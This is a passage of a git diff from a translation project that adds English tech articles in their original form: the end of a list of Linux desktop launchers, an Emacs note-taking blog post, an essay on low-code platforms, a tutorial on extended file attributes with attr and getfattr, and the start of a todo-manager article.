https://download.opensuse.org/repositories/home:manuelschneid3r/Fedora_36/home:manuelschneid3r.repodnf install albert +``` + +To learn more about Albert, visit the [official website][12]. + +#### 4. GNOME Pie + +GNOME Pie is a circular application launcher and looks different from the traditional launcher. It gives you a circular icon-based menu. See the below image. + +![GNOME Pie – circular launcher][13] + +The design may not go well with specific users, considering the modern user interface designs, but it’s very productive if you are familiar with it. GNOME Pie activates itself when you press the default keyboard combination CTRL+ALT+Space. Another interesting behaviour of GNOME Pie is it pops up at your mouse cursor position. + +Installing GNOME Pie is easy in Ubuntu and other similar distributions. Open a terminal prompt and run the below command. + +``` +sudo apt install gnome-pie +``` + +After installation, press CTRL+ALT+space to activate. For more details, you may visit its official [home page][14]. + +#### 5. Cerebro + +Another attractive launcher which I like to highlight is Cerebro. Cerebro is an electron-based launcher that may act as a single entry point to your “question” or “intent” of search. For example, you want to find out “how often you should wash your car”. Cerebro can show you possible results from Google. Moreover, the usual launcher functions such as finding an app and browsing the file system also work in this launcher. + +![Cerebro | Image credit: Cerebro team][15] + +Unfortunately, I could not run the AppImage of Cerebro in Ubuntu 22.04 LTS for a demo. It looks like there are some bugs. + +But you may download AppImage or deb file from here and try it. **Note**: it has a dependency on `libcanberra-gtk-module` and `libfuse2`. Finally, its also available for Windows and macOS, and you may learn more about Cerebro at its official [homepage][16]. + +#### 6. Synapse + +Synapse is a free and open-source launcher application with which you can quickly start applications and access files using the Zeitgeist engine. Written in Vala, Synapse is similar to the Ulauncher in this list. + +In addition, it can search your playlists, give you options to shutdown and gives you a Tabbed view of the preliminary result window. Synapse is an excellent utility to have for your desktop. + +![Synapse Launcher][17] + +You can download the latest build deb file (amd64) in Launchpad using [this page][18] and install it using GDebi or dpkg or Software. + +#### 7. Zazu + +Zazu is another excellent launcher which you can try out. It is free and open-source and comes with a variety of features out of the box. For example, you can search and take actions on the system power menu and search in package manager and clipboard history using Zazu. In addition, you can also run the system commands and launch applications using this Ubuntu launcher. + +![Zazu launcher | Image credit: Zazu team][19] + +Zazu is available for Windows and Linux. You can get the deb file on [this page for Ubuntu Linux and other related distributions.][20] After downloading the deb file, you can install it using the Software or GDebi. + +Visit the [official website][21] to learn more about its features. + +#### 8. Rofi + +If you are a long-time desktop Linux user, I am sure you heard about Rofi. Rofi is a clone of the window switcher “Simpleswitcher”. It is a versatile application launcher or swithers that brings several pre-made modes. For example, it features Window switcher mode, app launcher mode, file browsing mode and a unique SSH launcher mode. + +In addition, it is designed to give you results based on your search history, which is sorted based on your search age. Moreover, it supports plugins and themes which you can choose to blend into your desktop design. + +![Rofi in file browser more][22] + +For more details, visit the Github [page][23]. + +Installation of Rofi is easy, as the packages are available in significant distribution repo. For Ubuntu Linux, you can run the below command to install. + +``` +sudo apt install rofi +``` + +For Fedora Linux, use: + +``` +sudo dnf install rofi +``` + +After installation, visit the Quickstart [guide][24] to run this launcher. Because running the Rofi launcher is a little different than others. + +#### 9. GNOME Do + +The ninth in this Ubuntu launcher list is “GNOME-Do”. [GNOME Do][25] an intelligent desktop launcher which helps you to perform several tasks. For example, you can launch operating system actions such as copy, move, and delete. In addition, you can efficiently perform the usual search of apps and file system data. GNOME Do also support several Themes and Plugins developed by the community for further customization. + +![GNOME Do][26] + +You can install the GNOME Do launcher in Ubuntu using the following PPA. + +``` +sudo add-apt-repository ppa:do-core/ppasudo apt updatesudo apt install gnome-do +``` + +#### 10. LightHouse + +The final Ubuntu launcher in this list is LightHouse. Lighthouse is the most simple launcher with a minimal design. It has a single search box that expands based on the input parameter. For example, if you want to execute specific actions, you can type the proper keyword, showing you the available options. + +Installing LightHouse is a little tricky in Ubuntu. It requires compilation which you can find on [this page][27]. For Arch Linux, you can [setup Yay AUR helper][28] and run `yay -S lighthouse-git` to install. + +Learn more about LightHouse on its official [Github page][29]. + +### Bonus List + +Finally, here are five more launchers which are stunning in their merit. But I have not added them to the above list because they are more like “application menu” than “pop-out launcher”. Semantically all the apps in the below is “launcher”, but I guess it’s better to term them as the extended application menu. + +* [Arc Menu][30] +* [Plank][31] +* [DockBarX][32] +* [Docky][33] + +### Closing Notes + +I hope this list of best launchers for Ubuntu and Other Linux helps you pick one. In addition, you may try all of them and choose the one that suits best your workflow. Also, as many of them uses similar keyboard combination, try not to use all of them together. + +Finally, which one of the Ubuntu launchers above is your favourite? Let me know in the comment box below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/06/top-ubuntu-launcher-2022/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/top-10-list/ +[2]: https://www.debugpoint.com/category/themes +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/Ulauncher-showing-fuzzy-search.jpg +[4]: +[5]: https://github.com/Ulauncher/Ulauncher/releases/ +[6]: https://ulauncher.io/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/06/Kupfer.jpg +[8]: https://github.com/kupferlauncher/kupfer +[9]: https://www.debugpoint.com/wp-content/uploads/2022/06/Albert-Launcher.jpg +[10]: http://download.opensuse.org/repositories/home:/manuelschneid3r/xUbuntu_22.04/amd64/ +[11]: https://www.debugpoint.com/tag/ubuntu-22-04-lts/ +[12]: https://albertlauncher.github.io/ +[13]: https://www.debugpoint.com/wp-content/uploads/2022/06/GNOME-Pie.jpg +[14]: http://schneegans.github.io/gnome-pie +[15]: https://www.debugpoint.com/wp-content/uploads/2022/06/Cerebro.jpg +[16]: https://cerebroapp.com/ +[17]: https://www.debugpoint.com/wp-content/uploads/2022/06/Synapse-Launcher.jpg +[18]: https://launchpad.net/ubuntu/+source/synapse/0.2.99.4-3build1/+build/23235198 +[19]: https://www.debugpoint.com/wp-content/uploads/2022/06/Zazu-launcher.jpg +[20]: https://github.com/bayleeadamoss/zazu/releases +[21]: http://zazuapp.org/ +[22]: https://www.debugpoint.com/wp-content/uploads/2022/06/Rofi-in-file-browser-more.jpg +[23]: https://github.com/davatorium/rofi +[24]: https://github.com/davatorium/rofi#quickstart +[25]: http://do.cooperteam.net/ +[26]: https://www.debugpoint.com/wp-content/uploads/2022/06/GNOME-Do.jpg +[27]: https://github.com/emgram769/lighthouse#installation +[28]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[29]: https://github.com/emgram769/lighthouse +[30]: https://gitlab.com/arcmenu/ArcMenu +[31]: https://launchpad.net/plank +[32]: https://github.com/M7S/dockbarx +[33]: https://launchpad.net/docky/ diff --git a/sources/tech/20220619 simple note taking.md b/sources/tech/20220619 simple note taking.md new file mode 100644 index 0000000000..7540ce66bb --- /dev/null +++ b/sources/tech/20220619 simple note taking.md @@ -0,0 +1,117 @@ +[#]: subject: "simple note taking" +[#]: via: "https://jao.io/blog/2022-06-19-simple-note-taking.html" +[#]: author: "jao https://jao.io" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +simple note taking +====== + +I was just watching [Prot's explanation][1] of his new package _denote_, a very elegant note-taking system with a stress on simplicity and, as the author puts it, low-tech requirements. Now, those are excellent qualities in my book, and i think i'd quickly become a _denote_ user if it weren't for the fact that i already have a homegrown set of utilities following a similar philosophy. Inevitably, they differ in some details, as is to be expected from software that has grown with me, as Prot's with him, during more than a decade, but they are similar in important ways. + +I've had in mind writing a brief note on my notes utilities for a while, so i guess this is a good time for it: i can, after showing you mine, point you to a polished package following a similar philosophy and sidestep any temptation of doing anything similar with my little functions :) + +![][2] + +As you'll see in a moment, in some ways, my note taking system is even simpler than Prot's, while in others i rely on more sophisticated software, essentially meaning that where _denote_ is happy to use dired and filenames, i am using grep over the front-matter of the notes. So if you loved the filename-as-metadata idea in _denote_, you can skip the rest of this post! + +These are the main ideas around which i built my note-taking workflow: + + * Personally, i have such a dislike for non-human readable identifiers, that i cannot even stand those 20221234T142312 prefixes (for some reason, i find them quite hard to read and distracting). When i evolved my notes collection, i wanted my files to be named by their title and nothing more. I am also pretty happy to limit myself to org-mode files. So i wanted a directory of (often short) notes with names like `the-lisp-machine.org`, `david-foster-wallace.org` or `combinator-parsing-a-short-tutorial.org`.[1][3] + * I like tags, so all my notes, besides a title, are going to have attached a list of them (_denote_ puts them in the filename and inside the file's headers; i'm content with the latter, because, as you'll see in a moment, i have an easy way of searching through that contents). + * I'm not totally averse to hierarchies: besides tagging, i put my notes in a subdirectory indicating their broad category. I can then quickly narrow my searches to a general _theme_ if needed[2][4]. + * As mentioned, i want to be able to search by the title and tag (besides more broadly by contents) of my notes. Since that's all information available in plain text in the files, `grep` and family (via their emacs lovely helpers) are all that is needed; but i can easily go a step further and use other indexers of plain text like, say, recoll (via my [consult-recoll package][5]). + * It must be easy to quickly create notes that link to any contents i'm seeing in my emacs session, be it text, web, pdf, email, or any other. That comes for free thanks to org and `org-capture`. + * I want the code i have to write to accomplish all the above to be short and sweet, let's say well below two hundred lines of code. + + + +Turns out that i was able to write a little emacs lisp library doing all the above, thanks to the magic of org-mode and consult: you can find it over at my repo by the name of [jao-org-notes.el][6]. The implementation is quite simple and is based on having all note files in a parent directory (`jao-org-notes-dir`) with a subfolder for each of the main top-level categories, and, inside each of them, note files in org mode with a preamble that has the structure of this example: + +``` + + #+title: magit tips + #+date: <2021-07-22 Thu> + #+filetags: git tips + +``` + +The header above corresponds to the note in the file `emacs/magit-tips.org`. Now, it's very easy to write a new command to ask for a top-level category and a list of tags and insert a header like that in a new file: it's called [jao-org-notes-open-or-create][7] in my little lib, and with it one can define a new org template: + +``` + + ("N" "Note" plain (file jao-org-notes-open-or-create) + "\n- %a\n %i" + :jump-to-captured t) + +``` + +that one can then add to `org-capture-templates` (above, i'm using "N" as its shortcut; in the package, this is done by [jao-org-notes-setup][8], which takes the desired shortcut as a parameter). I maintain a simple list of possible tags in the variable `jao-org-notes--tags`, whose value is persisted in the file denoted by the value `jao-org-notes-tags-cache-file`, so that we can remember newly-added tags; with that and the magic of emacs's completing read, handling tags is a breeze. + +Now for search. These are text files, so if i want to search for contents, i just need grepping, for instance with `M-x rgrep` or, even better, `M-x consult-ripgrep`. That is what the command [jao-org-notes-grep][9] does. + +But it is also very useful to be able to limit searches to the title and tags of the notes: that's what the command [jao-org-notes-open][10] does using `consult` and `ripgrep` by the very simple device of searching for regular expressions in the first few lines of each file that start with either `#+title:` or `#+filetags:` followed by the terms we're looking for. That's something one could already do with `rgrep` alone; what consult adds to the party is the ability of displaying the matching results nicely formatted: + +![][11] + +Links between notes are simply org `file:` links, and having a simple "backlinks" command is, well, simple if you don't want anything fancy[3][12]. A command to insert a new link to another note is so boring to almost not meriting mention (okay, almost: [jao-org-notes-insert-link][13]). + +And that's about it. With those simple commands and in about 160 lines of code i find myself comfortably managing plain text notes, and easily finding contents within them. I add a bit of icing by asking [Recoll][14] to index my notes directory (as well as my email and PDFs): it is clever enough to parse org files, and give you back pointers to the sections in the files, and then issue queries with the comfort of a consult asynchronous command thanks to [consult-recoll][5] (the screenshot in the introduction is just me using it). It's a nice use case of how having little, uncomplicated packages that don't try to be too sophisticated and center on the functionality one really needs makes it very easy to combine solutions in beatiful ways[4][15]. + +### Footnotes: + +[1][16] + +I also hate with a passion those `:PROPERTIES:` drawers and other metadata embellishments so often used in org files, and wanted to avoid them as much as possible, so i settled with the only mildly annoying `#+title` and friends at the beginning of the files and nothing more. The usual caveat that that makes it more difficult to have unique names has proven a non-problem to me over the years. + +[2][17] + +Currently i use `work`, `books`, `computers`, `emacs`, `letters`, `maths`, and `physics`: as you see, i am not making a great effort on finding the perfect ontology of all knowledge; rather, i just use the first broad breakdown of the themes that interest me most at the moment. + +[3][18] + +Just look for the regular expression matching "[[file:" followed by the name of the current file. I find myself seldom needing this apparently very popular functionality, but it should be pretty easy to present the search results in a separate buffer if needed. + +[4][19] + +Another example would be how easy it becomes to incorporate web contents nicely formatted as text when one uses eww as a browser. Or how how seamless it is taking notes on PDFs one's reading in emacs, or even externally zathura (that's for a future blog post though! :)). + +[Tags][20]: [emacs][21] + +-------------------------------------------------------------------------------- + +via: https://jao.io/blog/2022-06-19-simple-note-taking.html + +作者:[jao][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jao.io +[b]: https://github.com/lujun9972 +[1]: https://www.youtube.com/watch?v=mLzFJcLpDFI +[2]: https://jao.io/img/consult-recoll.png +[3]: tmp.xKXexbfGmW#fn.1 +[4]: tmp.xKXexbfGmW#fn.2 +[5]: https://codeberg.org/jao/consult-recoll +[6]: https://codeberg.org/jao/elibs/src/main/lib/doc/jao-org-notes.el +[7]: https://codeberg.org/jao/elibs/src/main/lib/doc/jao-org-notes.el#L133 +[8]: https://codeberg.org/jao/elibs/src/main/lib/doc/jao-org-notes.el#L174 +[9]: https://codeberg.org/jao/elibs/src/main/lib/doc/jao-org-notes.el#L143 +[10]: https://codeberg.org/jao/elibs/src/main/lib/doc/jao-org-notes.el#L126 +[11]: https://jao.io/img/org-notes.png +[12]: tmp.xKXexbfGmW#fn.3 +[13]: https://codeberg.org/jao/elibs/src/main/lib/doc/jao-org-notes.el#L161 +[14]: https://www.lesbonscomptes.com/recoll/ +[15]: tmp.xKXexbfGmW#fn.4 +[16]: tmp.xKXexbfGmW#fnr.1 +[17]: tmp.xKXexbfGmW#fnr.2 +[18]: tmp.xKXexbfGmW#fnr.3 +[19]: tmp.xKXexbfGmW#fnr.4 +[20]: https://jao.io/blog/tags.html +[21]: https://jao.io/blog/tag-emacs.html diff --git a/sources/tech/20220620 Are Low-Code Platforms Helpful for Professional Developers-.md b/sources/tech/20220620 Are Low-Code Platforms Helpful for Professional Developers-.md new file mode 100644 index 0000000000..54c4c3f503 --- /dev/null +++ b/sources/tech/20220620 Are Low-Code Platforms Helpful for Professional Developers-.md @@ -0,0 +1,150 @@ +[#]: subject: "Are Low-Code Platforms Helpful for Professional Developers?" +[#]: via: "https://www.opensourceforu.com/2022/06/are-low-code-platforms-helpful-for-professional-developers/" +[#]: author: "Radhakrishna Singuru https://www.opensourceforu.com/author/radhakrishna-singuru/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Are Low-Code Platforms Helpful for Professional Developers? +====== +Over the years, low-code platforms have matured immensely, and are being used in varied domains of software development for better productivity and quality. This article explores the possibility of leveraging low-code platforms for complex product development by professional developers. + +![Low-Code-platfroms-developers][1] + +In the last several years, companies have invested a lot of time and energy in innovating and improving the overall process of software product development. Agile working methods have helped in making the process of product development a lot smoother. However, developers still face the challenge of meeting ever expanding customer requirements quickly and easily. + +In order to meet these requirements in totality, developers need tools and platforms that can enable quick delivery of software by reducing the coding timelines and without compromising on the quality aspects. + +No-code platforms are one set of tools that enable creation of application or product software with zero coding. These use a ‘lego building blocks’ approach that eliminates the need for hand coding and focuses on just configuration of functions based on graphical modelling experiences. These tools are more relevant to a class of business users called citizen developers, who can use them to optimise a specific process or a function by developing their own applications. + +Contrary to no-code platforms, low-code platforms do not try to eliminate the need for coding. Instead, they aim to make development of software easier than the traditional method of hard coding each line of a program or software. This approach minimises hard coding with prepackaged templates, graphic design techniques, and drag-and-drop tools to make software. + +The focus of this article is on general-purpose low-code platforms that can be used by professional developers to build enterprise grade applications or products. + +### Different types of low-code platforms + +Low-code platforms cater to different use cases. Depending on the intended usage or purpose, these can be classified as follows. + +* General-purpose: These platforms can create virtually any type of product or application. With a general-purpose platform, users can build software that serves a wide variety of needs and can be deployed on cloud or on-premise. +* Process: These platforms focus specifically on software that runs business processes such as forms, workflows or integrations with other systems. +* Request handling: Request handling low-code platforms are similar to process-based low code, but are less capable. They can only handle processing requests for fixed processes. +* Database: Database low-code platforms are useful if users have large amounts of data that needs to feed into a system, without spending a lot of time on the task. +* Mobile application development platform (MADP): These platforms help developers code, test, and launch mobile applications for smartphones and tablets. + +#### Key features of generic low-code platforms + +* General-purpose enterprise low-code development platforms support rapid software development, deployment, execution and management using declarative, high-level programming abstractions such as model-driven and metadata-based programming languages, and one-click deployments. + +The key features supported by general-purpose low code platforms are as follows. + +* Visual modelling: These platforms have a comprehensive visual modelling capability, including business processes, integration workflows, UIs, business logic, data models, Web services, and APIs. +* Databases: Support for a visual editor, Excel sheet import or use of existing data models from a different database. +* Pre-built templates: Support a variety of pre-built templates that can serve as a starting point to get an application up and running quickly. Using a well designed and tested template not only increases productivity but also helps in building a more reliable and secure application. +* Integration: Provide easy integration with external enterprise systems, databases, and custom apps. +* Security and scalability: The right low-code platform makes it easy to create enterprise grade software that is secure and scalable. +* Metrics: Support for gathering metrics and monitoring the software. +* Life cycle management: Support for version management and ticket management, as well as Agile or scrum tools. +* Reusability: The code generated is reusable and can integrate easily with general-purpose IDEs, with multi-platform support for testing and staging. +* Deployment options: Ability to deploy on public or private clouds with support for container images. Also support preview functionality before publishing to the cloud. +* Licensing: Flexible licensing models with no vendor lock-in. +* Others: The platforms include other services, such as project management and analytics. + +### Generic low-code platforms for professional developers + +The main objective of a generic low-code platform is to help reduce the time spent by a developer working on a product as compared to traditional hand coding. Using visual interfaces, drag-and-drop modules, and more, these low-code platforms reduce the manual effort of coding largely, but will need some coding requirements for completely building a product. + +Generic low-code platforms cannot be directly used to build low-level products like in-memory grids, Big Data processing algorithms, image recognition, etc. However, over the years they have evolved a lot to cover the widest range of capabilities for enterprise-grade development and full life cycle management, including business process management (BPM), integration workflows, UIs, business logic, data models, Web services, and APIs. They enable high-productivity development and a faster time to market for all types of developers. They also help create applications of any complexity including enterprise applications with generic architectures and complex backends, using microservices and service bus. + +![Figure 1: Important use cases of low code][2] + +Figure 1 illustrates some of the key use cases that have been influenced positively in terms of productivity, scale and quality by leveraging low-code platforms. + +*Enable cross-functional team collaboration:* Any product development needs a combination of business or functional experts as well as professional developers. Low-code platforms provide features that are relevant to a business user as well as professional developer. Cross-functional teams can leverage these platforms to turn great business ideas into readily deployable products much faster. + +*Rapid digital transformation of existing product suites:* By leveraging client and server-side APIs of the platform, developers will be able to build, package and distribute new functionalities, such as connectors to external services like machine learning and AI. Low-code platforms enable developers to push beyond the boundaries of the core platform to build better solutions faster by extending the native features of the platform with some code. + +*Help meet sudden spikes in demand:* Automated code generation combined with the one-click deployment option of low-code platforms helps in quicker product customisations, as well as building product variants and burning backlog of features faster. + +*Help build MVPs at a rapid rate:* The end-to-end development and operational tools in low-code platforms provide a cohesive ecosystem that allows an enterprise to rapidly bring products to life and manage the entire SDLC process. They are used to build quick MVPs or PoCs for technology, frameworks, and architecture or for feature evaluation. + +| Evaluation criteria | Description | +| :- | :- | +| Functional features | Productivity, UI flexibility, ease of use | +| Cloud and containerisation | Capability to utilise popular cloud providers services like serverless, AI/ML, blockchain, etc | +| CI/CD integration | Out-of-the-box support for automation and CI/CD toolchain | +| Integration capabilities | REST and cloud app support, ability to connect to different SQL and NoSQL databases | +| Performance | Parallel and batch execution with support for elastic scalability | +| Security | Enable security by design: security tools, development methods, and governance tooling | +| Language support | Support for popular languages like Java, .NET, Python, etc | +| Development methodologies | Support standard Agile development methodologies like Scrum, XP, Kanban, etc | +| Extensibility | Ability to extend features of existing applications | +| Others | Platform support, learning curve, documentation, etc | + +*Support cloud scale architecture and design:* Low-code platforms provide flexible microservices integration options (custom, data, UI, infra) to support building next-gen low-code products with multi-cloud deployment options. They are able to scale and handle thousands of users and millions of data sets. + +![Figure 2: Benefits of low-code platforms][3] + +**Pros and cons of low-code platforms** +The primary advantage of low-code software development is speed (months to weeks). On an average, there is six to ten times productivity improvement using a low-code platform over traditional hand coding approaches to software development. + +Figure 2 lists some of the key benefits of low-code platforms. + +* Better software, lower maintenance: Low-code platforms standardise the development approach and reduce the complexity as well as the error rate of the source code. +* Cross-team collaboration: Team members with different skills and capabilities can collaborate to realise the final product faster. +* Enable Agile software development: They offer the team members a consistent product that begins as a single screen, and grows from sprint to sprint as the full product takes shape. +* Faster legacy app modernisation: Enable faster UI generation based on the existing data model, reuse of the logic from legacy databases and smart transfer of existing screens/persistence layers. +* Low risk and high RoI: Due to shorter development cycles, the risk of undertaking a new project is low, and there is a good chance of getting high returns. +* Scaling through multiple components: Allow use of a common platform to develop multiple services. +* Easy maintenance: The software can be easily updated, fixed and changed according to customer requirements. + +In the last few years, low-code platforms have evolved a lot in terms of functionality and applicability. However, they still have some limitations when being used fully for any generic product development, some of which are listed below. + +*Low-level product development:* Cannot be used for building products like in-memory grids, Big Data processing algorithms, image recognition, etc. + +*Custom architectures and services:* Have limited use in enterprise software with unique architecture, microservices, custom back-ends, unique enterprise service bus, etc. + +*Source code control:* These platforms totally lose control over the code base; it’s difficult to debug and handle edge conditions where the tool does not do the right thing automatically. + +*Limited integration:* Custom integration with legacy systems needs some significant coding. + +*Security and reliability:* These platforms are vulnerable to security breaches, because if the low-code platform gets hacked, it can immediately make the product built on it also vulnerable. + +*Customisation:* Custom CSS, custom integration, advanced client-side functionality, etc, will require a good amount of coding. + +#### Popular generic low-code platforms + +While there are many low-code platforms available in the market, one should leverage the evaluation criteria given in Table 1 before choosing the right one relevant to the business. +Table 2 lists the highly popular generic low-code platforms, both proprietary and open source. +Gartner predicts that by 2024, 65 per cent of application development projects will rely on low-code development. + +| Low-code platform | Description | Type | +| :- | :- | :- | +| Mendix | This is designed to accelerate enterprise app delivery across the entire application development life cycle, from ideation to development, deployment, and maintenance on cloud or on-premise. | Proprietary | +| OutSystems | This platform provides tools to develop, deploy and manage omni-channel enterprise applications. It addresses the full spectrum of enterprise use cases for mobile, Web and core systems. | Proprietary | +| Appian | An enterprise grade platform that combines the key capabilities needed to get work done faster using AI, RPA, decision rules, and workflow on a single low-code platform. | Proprietary | +| Budibase | Helps in building business applications. Supports multiple external data sources, and comes with prebuilt layouts, user auth, and a data provider component. Supports JavaScript for integrations. | Open source | +| WordPress | Powers more than 41 per cent of the Web — from simple blogs to enterprise websites. With over 54,000 plugins, the level of customisation without writing code is incredible. | Open source | +| Node-RED | Helps to build event-driven IoT applications. A programming tool for wiring together hardware devices, APIs, and online services. | Open source | + +Will low-code development replace traditional engineering completely? This is unlikely in the near future, but it will definitely help to significantly improve developers’ productivity and bring quality products to market faster. It can bridge the talent gap in the mid-term by arming non-technical people with tools to build, whilst alleviating some of the product backlog for maxed out professional engineering teams Low-code platforms can address critical issues like the high demand for new enterprise software, the need to modernise aging legacy systems and the shortage of full-stack engineers. The choice of when and how much to use a low-code platform depends on the range of applicability, development speed, manageability and flexibility for performance limitations. + +However, if there is a need to develop a product that is high quality and unique while being specific to business requirements, custom product development may be a better option. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/are-low-code-platforms-helpful-for-professional-developers/ + +作者:[Radhakrishna Singuru][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/radhakrishna-singuru/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Low-Code-platfroms-developers.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1-Important-use-cases-of-low-code.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-Benefits-of-low-code-platforms.jpg diff --git a/sources/tech/20220620 How I use the attr command with my Linux filesystem.md b/sources/tech/20220620 How I use the attr command with my Linux filesystem.md new file mode 100644 index 0000000000..423202bd81 --- /dev/null +++ b/sources/tech/20220620 How I use the attr command with my Linux filesystem.md @@ -0,0 +1,146 @@ +[#]: subject: "How I use the attr command with my Linux filesystem" +[#]: via: "https://opensource.com/article/22/6/linux-attr-command" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How I use the attr command with my Linux filesystem +====== +I use the open source XFS filesystem because of the subtle convenience of extended attributes. Extended attributes are a unique way to add context to my data. + +![Why the operating system matters even more in 2017][1] + +Image by: Internet Archive Book Images. Modified by Opensource.com. CC BY-SA 4.0 + +The term *filesystem* is a fancy word to describe how your computer keeps track of all the files you create. Whether it's an office document, a configuration file, or thousands of digital photos, your computer has to store a lot of data in a way that's useful for both you and it. Filesystems like Ext4, XFS, JFS, BtrFS, and so on are the "languages" your computer uses to keep track of data. + +Your desktop or terminal can do a lot to help you find your data quickly. Your file manager might have, for instance, a filter function so you can quickly see just the image files in your home directory, or it might have a search function that can locate a file by its filename, and so on. These qualities are known as *file attributes* because they are exactly that: Attributes of the data object, defined by code in file headers and within the filesystem itself. Most filesystems record standard file attributes such as filename, file size, file type, time stamps for when it was created, and time stamps for when it was last visited. + +I use the open source XFS filesystem on my computers not for its reliability and high performance but for the subtle convenience of extended attributes. + +### Common file attributes + +When you save a file, data about it are saved along with it. Common attributes tell your operating system whether to update the access time, when to synchronize the data in the file back to disk, and other logistical details. Which attributes get saved depends on the capabilities and features of the underlying filesystem. + +In addition to standard file attributes (insofar as there are standard attributes), the XFS, Ext4, and BtrFS filesystems can all use extending filesystems. + +### Extended attributes + +XFS, Ext4, and BtrFS allow you to create your own arbitrary file attributes. Because you're making up attributes, there's nothing built into your operating system to utilize them, but I use them as "tags" for files in much the same way I use EXIF data on photos. Developers might choose to use extended attributes to develop custom capabilities in applications. + +There are two "namespaces" for attributes in XFS: **user** and **root**. When creating an attribute, you must add your attribute to one of these namespaces. To add an attribute to the **root** namespace, you must use the `sudo` command or be logged in as root. + +### Add an attribute + +You can add an attribute to a file on an XFS filesystem with the `attr` or `setfattr` commands. + +The `attr` command assumes the `user` namespace, so you only have to set (`-s` ) a name for your attribute followed by a value (`-V` ): + +``` +$ attr -s flavor -V vanilla example.txt +Attribute "flavor" set to a 7 byte value for example.txt: +vanilla +``` + +The `setfattr` command requires that you specify the target namespace: + +``` +$ setfattr --name user.flavor --value chocolate example.txt +``` + +### List extended file attributes + +Use the `attr` or `getfattr` commands to see extended attributes you've added to a file. The `attr` command defaults to the **user** namespace and uses the `-g` option to *get* extended attributes: + +``` +$ attr -g flavor example.txt +Attribute "flavor" had a 9 byte value for example.txt: +chocolate +``` + +The `getfattr` command requires the namespace and name of the attribute: + +``` +$ getfattr --name user.flavor example.txt +# file: example.txt +user.flavor="chocolate" +``` + +### List all extended attributes + +To see all extended attributes on a file, you can use `attr -l` : + +``` +$ attr -l example.txt +Attribute "md5sum" has a 32 byte value for example.txt +Attribute "flavor" has a 9 byte value for example.txt +``` + +Alternately, you can use `getfattr -d` : + +``` +$ getfattr -d example.txt +# file: example.txt +user.flavor="chocolate" +user.md5sum="969181e76237567018e14fe1448dfd11" +``` + +Any extended file attribute can be updated with `attr` or `setfattr`, just as if you were creating the attribute: + +``` +$ setfattr --name user.flavor --value strawberry example.txt + +$ getfattr -d example.txt +# file: example.txt +user.flavor="strawberry" +user.md5sum="969181e76237567018e14fe1448dfd11" +``` + +### Attributes on other filesystems + +The greatest risk when using extended attributes is forgetting that these attributes are specific to the filesystem they're on. That means when you copy a file from one drive or partition to another, the attributes are lost *even if the target filesystem supports extended attributes*. + +To avoid losing extended attributes, you must use a tool that supports retaining them, such as the `rsync` command. + +``` +$ rsync --archive --xattrs ~/example.txt /tmp/ +``` + +No matter what tool you use, if you transfer a file to a filesystem that doesn't know what to do with extended attributes, those attributes are dropped. + +### Search for attributes + +There aren't many mechanisms to interact with extended attributes, so the options for using the file attributes you've added are limited. I use extended attributes as a tagging mechanism, which allows me to associate files that have no obvious relation to one another. For instance, suppose I need a Creative Commons graphic for a project I'm working on. Assume I've had the foresight to add the extended attribute **license** to my collection of graphics. I could search my graphic folder with `find` and `getfattr` together: + +``` +find ~/Graphics/ -type f \ +-exec getfattr \ +--name user.license \ +-m cc-by-sa {} \; 2>/dev/null + +# file: /home/tux/Graphics/Linux/kde-eco-award.png +user.license="cc-by-sa" +user.md5sum="969181e76237567018e14fe1448dfd11" +``` + +### Secrets of your filesystem + +Filesystems aren't generally something you're meant to notice. They're literally systems for defining a file. It's not the most exciting task a computer performs, and it's not something users are supposed to have to be concerned with. But some filesystems give you some fun, and safe, special abilities, and extended file attributes are a good example. Its use may be limited, but extended attributes are a unique way to add context to your data. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/linux-attr-command + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/yearbook-haff-rx-linux-file-lead_0.png diff --git a/sources/tech/20220620 Please – A Simple Command Line Todo Manager.md b/sources/tech/20220620 Please – A Simple Command Line Todo Manager.md new file mode 100644 index 0000000000..ec307cc52f --- /dev/null +++ b/sources/tech/20220620 Please – A Simple Command Line Todo Manager.md @@ -0,0 +1,308 @@ +[#]: subject: "Please – A Simple Command Line Todo Manager" +[#]: via: "https://ostechnix.com/please-command-line-todo-manager/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Please – A Simple Command Line Todo Manager +====== +Manage Tasks And 